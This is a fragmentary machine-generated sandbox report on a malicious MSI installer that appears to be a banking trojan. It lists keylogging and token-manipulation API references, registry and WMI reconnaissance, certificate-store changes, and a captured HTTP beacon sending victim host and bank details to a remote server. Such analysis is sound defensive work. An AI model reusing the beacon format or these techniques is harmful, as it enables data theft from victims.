RegRead("HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString")" in "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp"57:T458,Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "VkKeyScanW" (Indicator: "VkKeyScan"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "UnregisterHotKey" (Indicator: "UnregisterHotKey"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "RegisterHotKey" (Indicator: "RegisterHotKey"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp")58:T5aa,Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "ocal $aProcessos = ProcessList("RegSvcs.exe")" (Indicator: "ProcessList"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp")59:T6cd,Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "FtpGetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp")5a:T5a0,Found reference to API "04476,5844,111,,GetSystemMetrics,user32.dll,"00:42:31.015",RX=0,PX=0" (Indicator: "GetSystemMetrics"; Source: "00000000-00004872.00000000.163526.03BE0000.00000004.mdmp, 00000000-00004872.00000001.165447.03BE0000.00000004.mdmp, 00000000-00004872.00000002.167368.03BE0000.00000004.mdmp") Found reference to API "33124,5844,111,,GetSystemMetrics,user32.dll,"00:42:31.031",RX=0,PX=0" (Indicator: "GetSystemMetrics"; Source: "00000000-00004872.00000000.163526.03BE0000.00000004.mdmp, 00000000-00004872.00000001.165447.03BE0000.00000004.mdmp, 00000000-00004872.00000002.167368.03BE0000.00000004.mdmp") Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "Win32API|GetSystemMetrics|SM_CLEANBOO" (Indicator: "GetSystemMetrics"; Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp, 00000000-00005172.00000002.172121.00C7A000.00000004.mdmp, 00000000-00005172.00000003.174592.00C7A000.00000004.mdmp") Found reference to API "Win32API|GetSystemMetrics|SM_CLEANBOOT" (Indicator: "GetSystemMetrics"; Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp, 00000000-00005172.00000002.172121.00C80000.00000004.mdmp, 00000000-00005172.00000003.174592.00C80000.00000004.mdmp")5b:T6c4,file/memory contains long string with (Indicator: " Win32_ComputerSystem"; File: "oxjrstqeoghk.au3") Found string "SELECT * FROM Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00005172-00002715-1062106894") Found string "ELECT * FROM Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found string "ocal $oItems = $oWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found string "instance of Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found string "SELECT * FROM Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp, 00000000-00005172.00000003.174592.00C04000.00000004.mdmp") file/memory contains long string with (Indicator: " Win32_ComputerSystem"; Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp")5c:T85c,Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetAce" (Indicator: "GetAce"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "AddAce" (Indicator: "AddAce"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp")5d:T485,Found reference to API "SeAssignPrimaryTokenPrivilege" (Indicator: "SeAssignPrimaryTokenPrivilege"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "SeIncreaseQuotaPrivilege" (Indicator: "SeIncreaseQuotaPrivilege"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "SeSystemEnvironmentPrivilegesX" (Indicator: "SeSystemEnvironmentPrivilege"; Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp, 00000000-00005172.00000002.172121.00C7A000.00000004.mdmp, 00000000-00005172.00000003.174592.00C7A000.00000004.mdmp") Found reference to API "SeSystemEnvironmentPrivilege" (Indicator: "SeSystemEnvironmentPrivilege"; Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp, 00000000-00005172.00000002.172121.00C80000.00000004.mdmp, 00000000-00005172.00000003.174592.00C80000.00000004.mdmp")5e:Tc76,"audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\EFUDY1V3BRSZ\AUDIODG_SVC.EXE"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENUNREACHABLESERVERS"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENDEFAULTSERVERS"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DYNAMICSERVERQUERYORDER"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "FILTERCLUSTERIP"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "WAITFORNAMEERRORONALL"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEEDNS"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DNSSECURENAMEQUERYFALLBACK"; Value: "")5f:T68c,"POST /principal/aNuEntity.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Content-Length: 329 Host: oficinadacapivara.top" with payload::==> "nome_pc=n70N9n8MjueHRn6&sistema_operacional=WIN_10 X64 (Build 16299)&usuario=Wx6UE7A&ip_local=192.168.0.2&ip_externo=170.250.66.160&data_hora=2026-10-16 08:03:50&antivirus=Removido&info_adicional=Windows: Windows 10 Pro; CPU: Intel(R) Core(R) Gold 6240R CPU @ 2.40GHz; RAM: 8 GB; DomÃnio: DESKTOP-FVVF82A&bancos_detectados=G-V.2" HTTP/1.1 200 OK Date: Fri 16 Oct 2026 15:03:30 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare referrer-policy: strict-origin-when-cross-origin referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-frame-options: SAMEORIGIN vary: rsc next-router-state-tree next-router-prefetch next-router-segment-prefetch strict-transport-security: max-age=31536000; includeSubDomains cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2FzVC%2Fjz0GLM9dYAYDmURP05M77gP76Z7mGNK21BPUW66uowcdPG%2F1bd20lKk%2Fl5KRR5P4KWbCmhAOPk2wTtmOFwFC8IexN1cOg2ElO3xTpFS%2BzlNFZTz4EKv9reMdKoyi31RYrzHBgI%3D"}]} CF-RAY: a4b7f350cfd7fb74-PDX alt-svc: h3=":443"; ma=86400 with response body ==>7B22737461747573223A2273756363657373222C226D657373616765223A224C6F67207265676973747261646F20636F6D207375636573736F227D.......60:T8c6,Found string "winmgmts:\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00005172-00002712-1061864480") Found string "\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00005172-00002714-1062071541") Found string "inmgmts:\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found string "ocal $oWMI = ObjGet("winmgmts:\\.\root\cimv2")" (Indicator: "root\cimv2"; in Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found string "ocal $oItems = $oWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: "wmi.exe"; in Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found string "??\C:\Users\HAPUBWS\AppData\Local\EfUdy1v3brSz\winmgmts:\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found string "\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B9A000.00000004.mdmp") Found string "\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp, 00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp, 00000000-00005172.00000002.172121.00C80000.00000004.mdmp, 00000000-00005172.00000003.174592.00C80000.00000004.mdmp")61:Ta0e,"audiodg_svc.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "audiodg_svc.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES")30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":86,"unified_at_epoch_ms":1793886632811,"unified_at":"2026-11-05T13:50:32.811Z","metadata":{"hashes":{"sha256":"b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","sha1":"c42e67d31046302733e85d19c51dd1f6b1aea798","md5":"16d293a445306e01abe6691361df539b","sha512":"3b7f1c3d3d7a04675ece412981db33e2a6b727f875ce5a4dc5bba866f8a8d13566223c7eb177fb78325ddce0835b5db8147d9fce97d17994e125ef08aea42f3e","ssdeep":"393216:se+VoIm/GrCWk0WImRdy3BhoBdx12Z9xq9Q+Oc1i3j8pH:seUod/GO11RdEhouZ7q9Qfai3Ap","ssdeep_chunks":["393216:se+VoIm","393216:e+VoIm/","393216:+VoIm/G","393216:VoIm/Gr","393216:oIm/GrC","393216:Im/GrCW","393216:m/GrCWk","393216:/GrCWk0","393216:GrCWk0W","393216:rCWk0WI","393216:CWk0WIm","393216:Wk0WImR","393216:k0WImRd","393216:0WImRdy","393216:WImRdy3","393216:ImRdy3B","393216:mRdy3Bh","393216:Rdy3Bho","393216:dy3BhoB","393216:y3BhoBd","393216:3BhoBdx","393216:BhoBdx1","393216:hoBdx12","393216:oBdx12Z","393216:Bdx12Z9","393216:dx12Z9x","393216:x12Z9xq","393216:12Z9xq9","393216:2Z9xq9Q","393216:Z9xq9Q+","393216:9xq9Q+O","393216:xq9Q+Oc","393216:q9Q+Oc1","393216:9Q+Oc1i","393216:Q+Oc1i3","393216:+Oc1i3j","393216:Oc1i3j8","393216:c1i3j8p","393216:1i3j8pH","786432:se+VoIm","786432:e+VoIm/","786432:+VoIm/G","786432:VoIm/Gr","786432:oIm/GrC","786432:Im/GrCW","786432:m/GrCWk","786432:/GrCWk0","786432:GrCWk0W","786432:rCWk0WI","786432:CWk0WIm","786432:Wk0WImR","786432:k0WImRd","786432:0WImRdy","786432:WImRdy3","786432:ImRdy3B","786432:mRdy3Bh","786432:Rdy3Bho","786432:dy3BhoB","786432:y3BhoBd","786432:3BhoBdx","786432:BhoBdx1","786432:hoBdx12","786432:oBdx12Z","786432:Bdx12Z9","786432:dx12Z9x","786432:x12Z9xq","786432:12Z9xq9","786432:2Z9xq9Q","786432:Z9xq9Q+","786432:9xq9Q+O","786432:xq9Q+Oc","786432:q9Q+Oc1","786432:9Q+Oc1i","786432:Q+Oc1i3","786432:+Oc1i3j","786432:Oc1i3j8","786432:c1i3j8p","786432:1i3j8pH","393216:seUod/G","393216:eUod/GO","393216:Uod/GO1","393216:od/GO11","393216:d/GO11R","393216:/GO11Rd","393216:GO11RdE","393216:O11RdEh","393216:11RdEho","393216:1RdEhou","393216:RdEhouZ","393216:dEhouZ7","393216:EhouZ7q","393216:houZ7q9","393216:ouZ7q9Q","393216:uZ7q9Qf","393216:Z7q9Qfa","393216:7q9Qfai","393216:q9Qfai3","393216:9Qfai3A","393216:Qfai3Ap"],"imphash":"Unknown"},"file_info":{"file_name":"G3d5duio.msi","file_type":["msi","data"],"file_type_id":"msi","file_size":17080320,"entropy":8,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1789546194000,"last_seen":1792162903000,"last_multi_scan":1792162903000}},"detections":{"summary":{"verdict":"malicious","score":86,"tags":["evasive","suspicious"]},"stats":{"av":{"malicious_count":1,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":86},"sandbox_signatures":{"informative_count":204,"suspicious_count":13,"malicious_count":2,"total":219},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaD